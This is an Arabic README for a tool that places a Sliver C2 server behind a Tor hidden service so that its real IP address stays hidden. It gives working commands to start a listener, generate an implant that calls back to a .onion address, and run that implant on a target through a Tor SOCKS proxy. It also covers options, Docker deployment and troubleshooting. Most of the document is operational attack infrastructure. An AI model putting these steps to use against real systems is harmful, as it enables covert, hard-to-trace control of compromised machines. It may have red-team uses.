
جسر نقل Tor لـ Sliver C2 - قيادة وتحكم مجهول الهوية
جسر نقل مبني على Tor لخادم Sliver C2. يُنشئ خدمة مخفية ويُمرر حركة المرور إلى خادم Sliver الخاص بك بحيث لا يتم كشف عنوان IP الحقيقي أبدًا.
يُعدّ خدمة Tor مخفية تشير إلى بروكسي HTTP محلي. يمرر البروكسي كل شيء إلى مستمع HTTPS الخاص بـ Sliver. تتصل الـ implants عبر Tor، وتتحكم بها من خلال Sliver بشكل طبيعي.
sliver server <---> proxy <---> tor hidden service <---> implant
:8443 :8080 xyz.onion (via tor)
git clone https://github.com/Otsmane-Ahmed/sliver-tor-bridge.git
cd sliver-tor-bridge
python3 -m venv venv
source venv/bin/activate
pip install -e .
شغّل sliver مع مستمع https:
sliver-client
sliver > https -L 127.0.0.1 -l 8443
في طرفية أخرى، شغّل الجسر:
sudo systemctl stop tor
sliver-tor-bridge start --sliver-port 8443
سيظهر الناتج مثل:
[+] Tor started successfully!
[+] Hidden Service: http://abc123xyz.onion
[+] Bridge is READY!
انتظر عنوان .onion، ثم قم بتوليد implant:
sliver > generate --http http://abc123xyz.onion --os linux --save /tmp/implant
شغّل implant على الهدف (يتطلب tor):
HTTP_PROXY=socks5h://127.0.0.1:9050 ./implant
sliver-tor-bridge start [OPTIONS]
--sliver-port sliver https port (default 8443)
--tor-port tor socks port (default 9050)
--service-port hidden service port (default 80)
-c, --config config file path
أوامر أخرى:
sliver-tor-bridge status # check if hidden service is running
sliver-tor-bridge stop # clean up hidden service directory
graph LR
Implant[Implant] -->|Tor Network| HS["Hidden Service (.onion)"]
HS -->|TCP :8080| Proxy["Bridge Proxy"]
Proxy -->|HTTPS :8443| Sliver["Sliver Server"]يجلس الجسر في المنتصف ويُعيد توجيه حركة المرور. يعتقد sliver أنه يتلقى اتصالات https عادية. ويعتقد الـ implant أنه يتحدث مع خادم http عادي.
docker-compose up -d
docker-compose logs -f
pip install pytest
pytest tests/
sliver_tor_bridge/
cli.py # command line interface
tor_manager.py # starts tor and creates hidden service
proxy.py # flask app that forwards to sliver
config.py # configuration handling
لن يعمل tor: تأكد من إيقاف خدمة tor في النظام (sudo systemctl stop tor)
انتهاء مهلة الاتصال: قد يستغرق إقلاع tor من 1 إلى 3 دقائق، انتظر حتى 100%
الـ implant لا يتصل: تأكد من أن الـ implant لديه وصول إلى tor (بروكسي socks على المنفذ 9050)
mit